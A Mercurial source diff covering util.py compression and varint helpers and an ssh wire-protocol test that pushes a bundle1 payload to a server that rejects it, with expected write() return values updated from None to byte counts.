3797 class zstdrevlogcompressor(object):
3802 class zstdrevlogcompressor(object):
3798 def __init__(self, zstd, level=3):
3803 def __init__(self, zstd, level=3):
3799 # Writing the content size adds a few bytes to the output. However,
3804 # Writing the content size adds a few bytes to the output. However,
3800 # it allows decompression to be more optimal since we can
3805 # it allows decompression to be more optimal since we can
3801 # pre-allocate a buffer to hold the result.
3806 # pre-allocate a buffer to hold the result.
3802 self._cctx = zstd.ZstdCompressor(level=level,
3807 self._cctx = zstd.ZstdCompressor(level=level,
3803 write_content_size=True)
3808 write_content_size=True)
3804 self._dctx = zstd.ZstdDecompressor()
3809 self._dctx = zstd.ZstdDecompressor()
3805 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3810 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3806 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3811 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3807
3812
3808 def compress(self, data):
3813 def compress(self, data):
3809 insize = len(data)
3814 insize = len(data)
3810 # Caller handles empty input case.
3815 # Caller handles empty input case.
3811 assert insize > 0
3816 assert insize > 0
3812
3817
3813 if insize < 50:
3818 if insize < 50:
3814 return None
3819 return None
3815
3820
3816 elif insize <= 1000000:
3821 elif insize <= 1000000:
3817 compressed = self._cctx.compress(data)
3822 compressed = self._cctx.compress(data)
3818 if len(compressed) < insize:
3823 if len(compressed) < insize:
3819 return compressed
3824 return compressed
3820 return None
3825 return None
3821 else:
3826 else:
3822 z = self._cctx.compressobj()
3827 z = self._cctx.compressobj()
3823 chunks = []
3828 chunks = []
3824 pos = 0
3829 pos = 0
3825 while pos < insize:
3830 while pos < insize:
3826 pos2 = pos + self._compinsize
3831 pos2 = pos + self._compinsize
3827 chunk = z.compress(data[pos:pos2])
3832 chunk = z.compress(data[pos:pos2])
3828 if chunk:
3833 if chunk:
3829 chunks.append(chunk)
3834 chunks.append(chunk)
3830 pos = pos2
3835 pos = pos2
3831 chunks.append(z.flush())
3836 chunks.append(z.flush())
3832
3837
3833 if sum(map(len, chunks)) < insize:
3838 if sum(map(len, chunks)) < insize:
3834 return ''.join(chunks)
3839 return ''.join(chunks)
3835 return None
3840 return None
3836
3841
3837 def decompress(self, data):
3842 def decompress(self, data):
3838 insize = len(data)
3843 insize = len(data)
3839
3844
3840 try:
3845 try:
3841 # This was measured to be faster than other streaming
3846 # This was measured to be faster than other streaming
3842 # decompressors.
3847 # decompressors.
3843 dobj = self._dctx.decompressobj()
3848 dobj = self._dctx.decompressobj()
3844 chunks = []
3849 chunks = []
3845 pos = 0
3850 pos = 0
3846 while pos < insize:
3851 while pos < insize:
3847 pos2 = pos + self._decompinsize
3852 pos2 = pos + self._decompinsize
3848 chunk = dobj.decompress(data[pos:pos2])
3853 chunk = dobj.decompress(data[pos:pos2])
3849 if chunk:
3854 if chunk:
3850 chunks.append(chunk)
3855 chunks.append(chunk)
3851 pos = pos2
3856 pos = pos2
3852 # Frame should be exhausted, so no finish() API.
3857 # Frame should be exhausted, so no finish() API.
3853
3858
3854 return ''.join(chunks)
3859 return ''.join(chunks)
3855 except Exception as e:
3860 except Exception as e:
3856 raise error.RevlogError(_('revlog decompress error: %s') %
3861 raise error.RevlogError(_('revlog decompress error: %s') %
3857 forcebytestr(e))
3862 forcebytestr(e))
3858
3863
3859 def revlogcompressor(self, opts=None):
3864 def revlogcompressor(self, opts=None):
3860 opts = opts or {}
3865 opts = opts or {}
3861 return self.zstdrevlogcompressor(self._module,
3866 return self.zstdrevlogcompressor(self._module,
3862 level=opts.get('level', 3))
3867 level=opts.get('level', 3))
3863
3868
3864 compengines.register(_zstdengine())
3869 compengines.register(_zstdengine())
3865
3870
3866 def bundlecompressiontopics():
3871 def bundlecompressiontopics():
3867 """Obtains a list of available bundle compressions for use in help."""
3872 """Obtains a list of available bundle compressions for use in help."""
3868 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3873 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3869 items = {}
3874 items = {}
3870
3875
3871 # We need to format the docstring. So use a dummy object/type to hold it
3876 # We need to format the docstring. So use a dummy object/type to hold it
3872 # rather than mutating the original.
3877 # rather than mutating the original.
3873 class docobject(object):
3878 class docobject(object):
3874 pass
3879 pass
3875
3880
3876 for name in compengines:
3881 for name in compengines:
3877 engine = compengines[name]
3882 engine = compengines[name]
3878
3883
3879 if not engine.available():
3884 if not engine.available():
3880 continue
3885 continue
3881
3886
3882 bt = engine.bundletype()
3887 bt = engine.bundletype()
3883 if not bt or not bt[0]:
3888 if not bt or not bt[0]:
3884 continue
3889 continue
3885
3890
3886 doc = pycompat.sysstr('``%s``\n %s') % (
3891 doc = pycompat.sysstr('``%s``\n %s') % (
3887 bt[0], engine.bundletype.__doc__)
3892 bt[0], engine.bundletype.__doc__)
3888
3893
3889 value = docobject()
3894 value = docobject()
3890 value.__doc__ = doc
3895 value.__doc__ = doc
3891 value._origdoc = engine.bundletype.__doc__
3896 value._origdoc = engine.bundletype.__doc__
3892 value._origfunc = engine.bundletype
3897 value._origfunc = engine.bundletype
3893
3898
3894 items[bt[0]] = value
3899 items[bt[0]] = value
3895
3900
3896 return items
3901 return items
3897
3902
3898 i18nfunctions = bundlecompressiontopics().values()
3903 i18nfunctions = bundlecompressiontopics().values()
3899
3904
3900 # convenient shortcut
3905 # convenient shortcut
3901 dst = debugstacktrace
3906 dst = debugstacktrace
3902
3907
3903 def safename(f, tag, ctx, others=None):
3908 def safename(f, tag, ctx, others=None):
3904 """
3909 """
3905 Generate a name that it is safe to rename f to in the given context.
3910 Generate a name that it is safe to rename f to in the given context.
3906
3911
3907 f: filename to rename
3912 f: filename to rename
3908 tag: a string tag that will be included in the new name
3913 tag: a string tag that will be included in the new name
3909 ctx: a context, in which the new name must not exist
3914 ctx: a context, in which the new name must not exist
3910 others: a set of other filenames that the new name must not be in
3915 others: a set of other filenames that the new name must not be in
3911
3916
3912 Returns a file name of the form oldname~tag[~number] which does not exist
3917 Returns a file name of the form oldname~tag[~number] which does not exist
3913 in the provided context and is not in the set of other names.
3918 in the provided context and is not in the set of other names.
3914 """
3919 """
3915 if others is None:
3920 if others is None:
3916 others = set()
3921 others = set()
3917
3922
3918 fn = '%s~%s' % (f, tag)
3923 fn = '%s~%s' % (f, tag)
3919 if fn not in ctx and fn not in others:
3924 if fn not in ctx and fn not in others:
3920 return fn
3925 return fn
3921 for n in itertools.count(1):
3926 for n in itertools.count(1):
3922 fn = '%s~%s~%s' % (f, tag, n)
3927 fn = '%s~%s~%s' % (f, tag, n)
3923 if fn not in ctx and fn not in others:
3928 if fn not in ctx and fn not in others:
3924 return fn
3929 return fn
3925
3930
3926 def readexactly(stream, n):
3931 def readexactly(stream, n):
3927 '''read n bytes from stream.read and abort if less was available'''
3932 '''read n bytes from stream.read and abort if less was available'''
3928 s = stream.read(n)
3933 s = stream.read(n)
3929 if len(s) < n:
3934 if len(s) < n:
3930 raise error.Abort(_("stream ended unexpectedly"
3935 raise error.Abort(_("stream ended unexpectedly"
3931 " (got %d bytes, expected %d)")
3936 " (got %d bytes, expected %d)")
3932 % (len(s), n))
3937 % (len(s), n))
3933 return s
3938 return s
3934
3939
3935 def uvarintencode(value):
3940 def uvarintencode(value):
3936 """Encode an unsigned integer value to a varint.
3941 """Encode an unsigned integer value to a varint.
3937
3942
3938 A varint is a variable length integer of 1 or more bytes. Each byte
3943 A varint is a variable length integer of 1 or more bytes. Each byte
3939 except the last has the most significant bit set. The lower 7 bits of
3944 except the last has the most significant bit set. The lower 7 bits of
3940 each byte store the 2's complement representation, least significant group
3945 each byte store the 2's complement representation, least significant group
3941 first.
3946 first.
3942
3947
3943 >>> uvarintencode(0)
3948 >>> uvarintencode(0)
3944 '\\x00'
3949 '\\x00'
3945 >>> uvarintencode(1)
3950 >>> uvarintencode(1)
3946 '\\x01'
3951 '\\x01'
3947 >>> uvarintencode(127)
3952 >>> uvarintencode(127)
3948 '\\x7f'
3953 '\\x7f'
3949 >>> uvarintencode(1337)
3954 >>> uvarintencode(1337)
3950 '\\xb9\\n'
3955 '\\xb9\\n'
3951 >>> uvarintencode(65536)
3956 >>> uvarintencode(65536)
3952 '\\x80\\x80\\x04'
3957 '\\x80\\x80\\x04'
3953 >>> uvarintencode(-1)
3958 >>> uvarintencode(-1)
3954 Traceback (most recent call last):
3959 Traceback (most recent call last):
3955 ...
3960 ...
3956 ProgrammingError: negative value for uvarint: -1
3961 ProgrammingError: negative value for uvarint: -1
3957 """
3962 """
3958 if value < 0:
3963 if value < 0:
3959 raise error.ProgrammingError('negative value for uvarint: %d'
3964 raise error.ProgrammingError('negative value for uvarint: %d'
3960 % value)
3965 % value)
3961 bits = value & 0x7f
3966 bits = value & 0x7f
3962 value >>= 7
3967 value >>= 7
3963 bytes = []
3968 bytes = []
3964 while value:
3969 while value:
3965 bytes.append(pycompat.bytechr(0x80 | bits))
3970 bytes.append(pycompat.bytechr(0x80 | bits))
3966 bits = value & 0x7f
3971 bits = value & 0x7f
3967 value >>= 7
3972 value >>= 7
3968 bytes.append(pycompat.bytechr(bits))
3973 bytes.append(pycompat.bytechr(bits))
3969
3974
3970 return ''.join(bytes)
3975 return ''.join(bytes)
3971
3976
3972 def uvarintdecodestream(fh):
3977 def uvarintdecodestream(fh):
3973 """Decode an unsigned variable length integer from a stream.
3978 """Decode an unsigned variable length integer from a stream.
3974
3979
3975 The passed argument is anything that has a ``.read(N)`` method.
3980 The passed argument is anything that has a ``.read(N)`` method.
3976
3981
3977 >>> try:
3982 >>> try:
3978 ... from StringIO import StringIO as BytesIO
3983 ... from StringIO import StringIO as BytesIO
3979 ... except ImportError:
3984 ... except ImportError:
3980 ... from io import BytesIO
3985 ... from io import BytesIO
3981 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3986 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3982 0
3987 0
3983 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3988 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3984 1
3989 1
3985 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3990 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3986 127
3991 127
3987 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3992 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3988 1337
3993 1337
3989 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3994 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3990 65536
3995 65536
3991 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3996 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3992 Traceback (most recent call last):
3997 Traceback (most recent call last):
3993 ...
3998 ...
3994 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3999 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3995 """
4000 """
3996 result = 0
4001 result = 0
3997 shift = 0
4002 shift = 0
3998 while True:
4003 while True:
3999 byte = ord(readexactly(fh, 1))
4004 byte = ord(readexactly(fh, 1))
4000 result |= ((byte & 0x7f) << shift)
4005 result |= ((byte & 0x7f) << shift)
4001 if not (byte & 0x80):
4006 if not (byte & 0x80):
4002 return result
4007 return result
4003 shift += 7
4008 shift += 7
4004
4009
4005 ###
4010 ###
4006 # Deprecation warnings for util.py splitting
4011 # Deprecation warnings for util.py splitting
4007 ###
4012 ###
4008
4013
4009 defaultdateformats = dateutil.defaultdateformats
4014 defaultdateformats = dateutil.defaultdateformats
4010
4015
4011 extendeddateformats = dateutil.extendeddateformats
4016 extendeddateformats = dateutil.extendeddateformats
4012
4017
4013 def makedate(*args, **kwargs):
4018 def makedate(*args, **kwargs):
4014 msg = ("'util.makedate' is deprecated, "
4019 msg = ("'util.makedate' is deprecated, "
4015 "use 'utils.dateutil.makedate'")
4020 "use 'utils.dateutil.makedate'")
4016 nouideprecwarn(msg, "4.6")
4021 nouideprecwarn(msg, "4.6")
4017 return dateutil.makedate(*args, **kwargs)
4022 return dateutil.makedate(*args, **kwargs)
4018
4023
4019 def datestr(*args, **kwargs):
4024 def datestr(*args, **kwargs):
4020 msg = ("'util.datestr' is deprecated, "
4025 msg = ("'util.datestr' is deprecated, "
4021 "use 'utils.dateutil.datestr'")
4026 "use 'utils.dateutil.datestr'")
4022 nouideprecwarn(msg, "4.6")
4027 nouideprecwarn(msg, "4.6")
4023 debugstacktrace()
4028 debugstacktrace()
4024 return dateutil.datestr(*args, **kwargs)
4029 return dateutil.datestr(*args, **kwargs)
4025
4030
4026 def shortdate(*args, **kwargs):
4031 def shortdate(*args, **kwargs):
4027 msg = ("'util.shortdate' is deprecated, "
4032 msg = ("'util.shortdate' is deprecated, "
4028 "use 'utils.dateutil.shortdate'")
4033 "use 'utils.dateutil.shortdate'")
4029 nouideprecwarn(msg, "4.6")
4034 nouideprecwarn(msg, "4.6")
4030 return dateutil.shortdate(*args, **kwargs)
4035 return dateutil.shortdate(*args, **kwargs)
4031
4036
4032 def parsetimezone(*args, **kwargs):
4037 def parsetimezone(*args, **kwargs):
4033 msg = ("'util.parsetimezone' is deprecated, "
4038 msg = ("'util.parsetimezone' is deprecated, "
4034 "use 'utils.dateutil.parsetimezone'")
4039 "use 'utils.dateutil.parsetimezone'")
4035 nouideprecwarn(msg, "4.6")
4040 nouideprecwarn(msg, "4.6")
4036 return dateutil.parsetimezone(*args, **kwargs)
4041 return dateutil.parsetimezone(*args, **kwargs)
4037
4042
4038 def strdate(*args, **kwargs):
4043 def strdate(*args, **kwargs):
4039 msg = ("'util.strdate' is deprecated, "
4044 msg = ("'util.strdate' is deprecated, "
4040 "use 'utils.dateutil.strdate'")
4045 "use 'utils.dateutil.strdate'")
4041 nouideprecwarn(msg, "4.6")
4046 nouideprecwarn(msg, "4.6")
4042 return dateutil.strdate(*args, **kwargs)
4047 return dateutil.strdate(*args, **kwargs)
4043
4048
4044 def parsedate(*args, **kwargs):
4049 def parsedate(*args, **kwargs):
4045 msg = ("'util.parsedate' is deprecated, "
4050 msg = ("'util.parsedate' is deprecated, "
4046 "use 'utils.dateutil.parsedate'")
4051 "use 'utils.dateutil.parsedate'")
4047 nouideprecwarn(msg, "4.6")
4052 nouideprecwarn(msg, "4.6")
4048 return dateutil.parsedate(*args, **kwargs)
4053 return dateutil.parsedate(*args, **kwargs)
4049
4054
4050 def matchdate(*args, **kwargs):
4055 def matchdate(*args, **kwargs):
4051 msg = ("'util.matchdate' is deprecated, "
4056 msg = ("'util.matchdate' is deprecated, "
4052 "use 'utils.dateutil.matchdate'")
4057 "use 'utils.dateutil.matchdate'")
4053 nouideprecwarn(msg, "4.6")
4058 nouideprecwarn(msg, "4.6")
4054 return dateutil.matchdate(*args, **kwargs)
4059 return dateutil.matchdate(*args, **kwargs)
@@ -1,2034 +1,2034 b''
1 $ cat > hgrc-sshv2 << EOF
1 $ cat > hgrc-sshv2 << EOF
2 > %include $HGRCPATH
2 > %include $HGRCPATH
3 > [experimental]
3 > [experimental]
4 > sshpeer.advertise-v2 = true
4 > sshpeer.advertise-v2 = true
5 > sshserver.support-v2 = true
5 > sshserver.support-v2 = true
6 > EOF
6 > EOF
7
7
8 $ debugwireproto() {
8 $ debugwireproto() {
9 > commands=`cat -`
9 > commands=`cat -`
10 > echo 'testing ssh1'
10 > echo 'testing ssh1'
11 > tip=`hg log -r tip -T '{node}'`
11 > tip=`hg log -r tip -T '{node}'`
12 > echo "${commands}" | hg --verbose debugwireproto --localssh --noreadstderr
12 > echo "${commands}" | hg --verbose debugwireproto --localssh --noreadstderr
13 > if [ -n "$1" ]; then
13 > if [ -n "$1" ]; then
14 > hg --config extensions.strip= strip --no-backup -r "all() - ::${tip}"
14 > hg --config extensions.strip= strip --no-backup -r "all() - ::${tip}"
15 > fi
15 > fi
16 > echo ""
16 > echo ""
17 > echo 'testing ssh2'
17 > echo 'testing ssh2'
18 > echo "${commands}" | HGRCPATH=$TESTTMP/hgrc-sshv2 hg --verbose debugwireproto --localssh --noreadstderr
18 > echo "${commands}" | HGRCPATH=$TESTTMP/hgrc-sshv2 hg --verbose debugwireproto --localssh --noreadstderr
19 > if [ -n "$1" ]; then
19 > if [ -n "$1" ]; then
20 > hg --config extensions.strip= strip --no-backup -r "all() - ::${tip}"
20 > hg --config extensions.strip= strip --no-backup -r "all() - ::${tip}"
21 > fi
21 > fi
22 > }
22 > }
23
23
24 Generate some bundle files
24 Generate some bundle files
25
25
26 $ hg init repo
26 $ hg init repo
27 $ cd repo
27 $ cd repo
28 $ echo 0 > foo
28 $ echo 0 > foo
29 $ hg -q commit -A -m initial
29 $ hg -q commit -A -m initial
30 $ hg bundle --all -t none-v1 ../initial.v1.hg
30 $ hg bundle --all -t none-v1 ../initial.v1.hg
31 1 changesets found
31 1 changesets found
32 $ cd ..
32 $ cd ..
33
33
34 Test pushing bundle1 payload to a server with bundle1 disabled
34 Test pushing bundle1 payload to a server with bundle1 disabled
35
35
36 $ hg init no-bundle1
36 $ hg init no-bundle1
37 $ cd no-bundle1
37 $ cd no-bundle1
38 $ cat > .hg/hgrc << EOF
38 $ cat > .hg/hgrc << EOF
39 > [server]
39 > [server]
40 > bundle1 = false
40 > bundle1 = false
41 > EOF
41 > EOF
42
42
43 $ debugwireproto << EOF
43 $ debugwireproto << EOF
44 > command unbundle
44 > command unbundle
45 > # This is "force" in hex.
45 > # This is "force" in hex.
46 > heads 666f726365
46 > heads 666f726365
47 > PUSHFILE ../initial.v1.hg
47 > PUSHFILE ../initial.v1.hg
48 > readavailable
48 > readavailable
49 > EOF
49 > EOF
50 testing ssh1
50 testing ssh1
51 creating ssh peer from handshake results
51 creating ssh peer from handshake results
52 i> write(104) -> None:
52 i> write(104) -> 104:
53 i> hello\n
53 i> hello\n
54 i> between\n
54 i> between\n
55 i> pairs 81\n
55 i> pairs 81\n
56 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
56 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
57 i> flush() -> None
57 i> flush() -> None
58 o> readline() -> 4:
58 o> readline() -> 4:
59 o> 384\n
59 o> 384\n
60 o> readline() -> 384:
60 o> readline() -> 384:
61 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
61 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
62 o> readline() -> 2:
62 o> readline() -> 2:
63 o> 1\n
63 o> 1\n
64 o> readline() -> 1:
64 o> readline() -> 1:
65 o> \n
65 o> \n
66 sending unbundle command
66 sending unbundle command
67 i> write(9) -> None:
67 i> write(9) -> 9:
68 i> unbundle\n
68 i> unbundle\n
69 i> write(9) -> None:
69 i> write(9) -> 9:
70 i> heads 10\n
70 i> heads 10\n
71 i> write(10) -> None: 666f726365
71 i> write(10) -> 10: 666f726365
72 i> flush() -> None
72 i> flush() -> None
73 o> readline() -> 2:
73 o> readline() -> 2:
74 o> 0\n
74 o> 0\n
75 i> write(4) -> None:
75 i> write(4) -> 4:
76 i> 426\n
76 i> 426\n
77 i> write(426) -> None:
77 i> write(426) -> 426:
78 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
78 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
79 i> test\n
79 i> test\n
80 i> 0 0\n
80 i> 0 0\n
81 i> foo\n
81 i> foo\n
82 i> \n
82 i> \n
83 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
83 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
84 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
84 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
85 i> \x00\x00\x00\x00\x00\x00\x00\x00
85 i> \x00\x00\x00\x00\x00\x00\x00\x00
86 i> write(2) -> None:
86 i> write(2) -> 2:
87 i> 0\n
87 i> 0\n
88 i> flush() -> None
88 i> flush() -> None
89 o> readline() -> 2:
89 o> readline() -> 2:
90 o> 0\n
90 o> 0\n
91 o> readline() -> 2:
91 o> readline() -> 2:
92 o> 1\n
92 o> 1\n
93 o> read(1) -> 1: 0
93 o> read(1) -> 1: 0
94 result: 0
94 result: 0
95 remote output:
95 remote output:
96 e> read(-1) -> 115:
96 e> read(-1) -> 115:
97 e> abort: incompatible Mercurial client; bundle2 required\n
97 e> abort: incompatible Mercurial client; bundle2 required\n
98 e> (see https://www.mercurial-scm.org/wiki/IncompatibleClient)\n
98 e> (see https://www.mercurial-scm.org/wiki/IncompatibleClient)\n
99
99
100 testing ssh2
100 testing ssh2
101 creating ssh peer from handshake results
101 creating ssh peer from handshake results
102 i> write(171) -> None:
102 i> write(171) -> 171:
103 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
103 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
104 i> hello\n
104 i> hello\n
105 i> between\n
105 i> between\n
106 i> pairs 81\n
106 i> pairs 81\n
107 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
107 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
108 i> flush() -> None
108 i> flush() -> None
109 o> readline() -> 62:
109 o> readline() -> 62:
110 o> upgraded * exp-ssh-v2-0001\n (glob)
110 o> upgraded * exp-ssh-v2-0001\n (glob)
111 o> readline() -> 4:
111 o> readline() -> 4:
112 o> 383\n
112 o> 383\n
113 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
113 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
114 o> read(1) -> 1:
114 o> read(1) -> 1:
115 o> \n
115 o> \n
116 sending unbundle command
116 sending unbundle command
117 i> write(9) -> None:
117 i> write(9) -> 9:
118 i> unbundle\n
118 i> unbundle\n
119 i> write(9) -> None:
119 i> write(9) -> 9:
120 i> heads 10\n
120 i> heads 10\n
121 i> write(10) -> None: 666f726365
121 i> write(10) -> 10: 666f726365
122 i> flush() -> None
122 i> flush() -> None
123 o> readline() -> 2:
123 o> readline() -> 2:
124 o> 0\n
124 o> 0\n
125 i> write(4) -> None:
125 i> write(4) -> 4:
126 i> 426\n
126 i> 426\n
127 i> write(426) -> None:
127 i> write(426) -> 426:
128 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
128 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
129 i> test\n
129 i> test\n
130 i> 0 0\n
130 i> 0 0\n
131 i> foo\n
131 i> foo\n
132 i> \n
132 i> \n
133 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
133 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
134 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
134 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
